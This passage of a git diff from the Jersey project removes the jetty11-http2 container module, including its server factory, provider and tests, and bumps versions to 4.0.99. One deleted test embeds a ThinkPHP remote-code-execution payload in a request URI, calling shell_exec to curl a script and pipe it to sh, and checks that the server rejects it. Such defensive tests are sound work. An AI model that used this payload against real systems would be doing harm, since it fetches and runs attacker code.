-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see Jetty11HttpContainer
-     *
-     * @since 2.40
-     */
-    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
-                                           final Object parentContext) {
-        return createHttp2Server(uri, null,
-                new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class,
-                        config, parentContext), start);
-    }
-
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see Jetty11HttpContainer
-     *
-     * @since 2.40
-     */
-    public static Server createHttp2Server(final URI uri,
-                                           final SslContextFactory.Server sslContextFactory,
-                                           final Jetty11HttpContainer handler,
-                                           final boolean start) {
-
-        /**
-         * Creating basic Jetty HTTP/1.1 container (but always not started)
-         */
-        final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
-        /**
-         * Obtain configured HTTP connection factory
-         */
-        final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
-        final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
-
-        /**
-         * Obtain prepared config
-         */
-        final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
-
-        /**
-         * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
-         */
-        final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
-
-        /**
-         * adding connection factories for H2/H2C protocol
-         */
-        for (final ConnectionFactory factory : factories) {
-            httpServerConnector.addConnectionFactory(factory);
-        }
-        server.setConnectors(new Connector[]{httpServerConnector});
-
-        /**
-         * Starting the server if required
-         */
-        if (start) {
-            try {
-                // Start the server.
-                server.start();
-            } catch (final Exception e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
-            }
-        }
-        return server;
-    }
-
-    private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
-                                                                  final SslContextFactory.Server sslContextFactory) {
-        final List<ConnectionFactory> factories = new ArrayList<>();
-        if (sslContextFactory != null) {
-            factories.add(new HTTP2ServerConnectionFactory(config));
-            final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
-            alpn.setDefaultProtocol("h2");
-            factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
-            factories.add(alpn);
-        } else {
-            factories.add(new HTTP2CServerConnectionFactory(config));
-        }
-
-        return factories;
-    }
-}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
deleted file mode 100644
index edc461e..0000000
--- a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.Jetty11HttpContainer;
-import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.spi.ContainerProvider;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-
-import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME;
-
-public final class Jetty11Http2ContainerProvider implements ContainerProvider {
-
-    @Override
-    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) {
-            return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application));
-        }
-        return null;
-    }
-}
-
diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
deleted file mode 100644
index 2cd5dda..0000000
--- a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider
diff --git a/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
deleted file mode 100644
index ba290bd..0000000
--- a/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-error.when.creating.server=Exception thrown when trying to create jetty server.
-not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
deleted file mode 100644
index 1911add..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import java.net.URI;
-import java.security.AccessController;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.eclipse.jetty.server.Server;
-import org.junit.jupiter.api.AfterEach;
-
-/**
- * Abstract Jetty Server unit tester.
- *
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Miroslav Fuksa
- */
-public abstract class AbstractJetty11ServerTester {
-
-    private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName());
-
-    public static final String CONTEXT = "";
-    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
-
-    /**
-     * Get the port to be used for test application deployments.
-     *
-     * @return The HTTP port of the URI
-     */
-    protected final int getPort() {
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-
-            try {
-                final int i = Integer.parseInt(value);
-                if (i <= 0) {
-                    throw new NumberFormatException("Value not positive.");
-                }
-                return i;
-            } catch (NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid positive integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-        return DEFAULT_PORT;
-    }
-
-    private final int getPort(RuntimeType runtimeType) {
-        switch (runtimeType) {
-            case SERVER:
-                return getPort();
-            case CLIENT:
-                return server.getURI().getPort();
-            default:
-                throw new IllegalStateException("Unexpected runtime type");
-        }
-    }
-
-    private volatile Server server;
-
-    public UriBuilder getUri() {
-        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
-    }
-
-    public void startServer(Class... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final URI baseUri = getBaseUri();
-        server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
-    }
-
-    public void startServer(ResourceConfig config) {
-        final URI baseUri = getBaseUri();
-        server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
-    }
-
-    public URI getBaseUri() {
-        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
-    }
-
-    public void stopServer() {
-        try {
-            server.stop();
-            server = null;
-            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @AfterEach
-    public void tearDown() {
-        if (server != null) {
-            stopServer();
-        }
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
deleted file mode 100644
index 0a3774b..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Michal Gajdos
- */
-public class AsyncTest extends AbstractJetty11ServerTester {
-
-    @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
-    public static class AsyncResource {
-
-        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
-
-        @GET
-        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(5000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(final AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
-                            .build());
-                }
-            });
-            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(7000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("multiple-invocations")
-        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
-            INVOCATION_COUNT.incrementAndGet();
-
-            new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    asyncResponse.resume("OK");
-                }
-            }).start();
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(AsyncResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-    @Test
-    public void testAsyncGet() throws ExecutionException, InterruptedException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-        // get() waits for the response
-        assertEquals("DONE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-
-    /**
-     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
-     */
-    @Test
-    public void testAsyncMultipleInvocations() throws Exception {
-        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
-
-        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
-
-        assertThat(response.getStatus(), is(200));
-        assertThat(response.readEntity(String.class), is("OK"));
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
deleted file mode 100644
index 6f0ad22..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.PathParam;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import java.io.IOException;
-import java.net.URI;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- */
-public class ExceptionTest extends AbstractJetty11ServerTester {
-    @Path("{status}")
-    public static class ExceptionResource {
-        @GET
-        public String get(@PathParam("status") int status) {
-            throw new WebApplicationException(status);
-        }
-
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
-                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
-                + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
-        request.addHeader("X-Forwarded-Host", "_foo.com");
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCode() throws IOException {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("400").build());
-        assertEquals(400, r.request().get(Response.class).getStatus());
-    }
-
-    @Test
-    public void test500StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("500").build());
-
-        assertEquals(500, r.request().get(Response.class).getStatus());
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
deleted file mode 100644
index 517d6e2..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
-import org.glassfish.jersey.server.spi.Container;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Reload and ContainerLifecycleListener support test.
- *
- * @author Paul Sandoz
- * @author Marek Potociar
- */
-public class LifecycleListenerTest extends AbstractJetty11ServerTester {
-
-    @Path("/one")
-    public static class One {
-        @GET
-        public String get() {
-            return "one";
-        }
-    }
-
-    @Path("/two")
-    public static class Two {
-        @GET
-        public String get() {
-            return "two";
-        }
-    }
-
-    public static class Reloader extends AbstractContainerLifecycleListener {
-        Container container;
-
-        public void reload(ResourceConfig newConfig) {
-            container.reload(newConfig);
-        }
-
-        public void reload() {
-            container.reload();
-        }
-
-        @Override
-        public void onStartup(Container container) {
-            this.container = container;
-        }
-
-    }
-
-    @Test
-    public void testReload() {
-        final ResourceConfig rc = new ResourceConfig(One.class);
-
-        Reloader reloader = new Reloader();
-        rc.registerInstances(reloader);
-
-        startServer(rc);
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
-
-        // add Two resource
-        reloader.reload(new ResourceConfig(One.class, Two.class));
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals("two", r.path("two").request().get(String.class));
-    }
-
-    static class StartStopListener extends AbstractContainerLifecycleListener {
-        volatile boolean started;
-        volatile boolean stopped;
-
-        @Override
-        public void onStartup(Container container) {
-            started = true;
-        }
-
-        @Override
-        public void onShutdown(Container container) {
-            stopped = true;
-        }
-    }
-
-    @Test
-    public void testStartupShutdownHooks() {
-        final StartStopListener listener = new StartStopListener();
-
-        startServer(new ResourceConfig(One.class).register(listener));
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertThat(r.path("one").request().get(String.class), equalTo("one"));
-        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
-
-        stopServer();
-
-        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
-        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
-    }
-}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
deleted file mode 100644
index d5b7cc5..0000000
--- a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class OptionsTest extends AbstractJetty11ServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        startServer(HelloWorldResource.class);
-        Client client = ClientBuilder.newClient();
-        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(0, response.getLength());
-        assertEquals("foo/bar", response.getMediaType().toString());
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-}
diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml
index 2e9ce74..e98791e 100644
--- a/containers/netty-http/pom.xml
+++ b/containers/netty-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-netty-http</artifactId>
diff --git a/containers/pom.xml b/containers/pom.xml
index ef2ca0a..2320f6a 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.containers</groupId>
@@ -40,12 +40,10 @@
         <module>jdk-http</module>
         <module>jersey-servlet-core</module>
         <module>jersey-servlet</module>
-        <module>jetty11-http</module>
         <module>jetty-http</module>
         <module>jetty-http2</module>
         <module>jetty-servlet</module>
         <module>netty-http</module>
-        <module>simple-http</module>
     </modules>
 
     <dependencies>
diff --git a/containers/simple-http/pom.xml b/containers/simple-http/pom.xml
deleted file mode 100644
index 2636623..0000000
--- a/containers/simple-http/pom.xml
+++ /dev/null
@@ -1,92 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-simple-http</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-simple-http</name>
-
-    <description>Simple Http Container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.simpleframework</groupId>
-            <artifactId>simple-http</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.simpleframework</groupId>
-            <artifactId>simple-transport</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.simpleframework</groupId>
-            <artifactId>simple-common</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.hamcrest</groupId>
-            <artifactId>hamcrest</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.xml.bind</groupId>
-            <artifactId>jakarta.xml.bind-api</artifactId>
-            <optional>true</optional>
-            <scope>provided</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
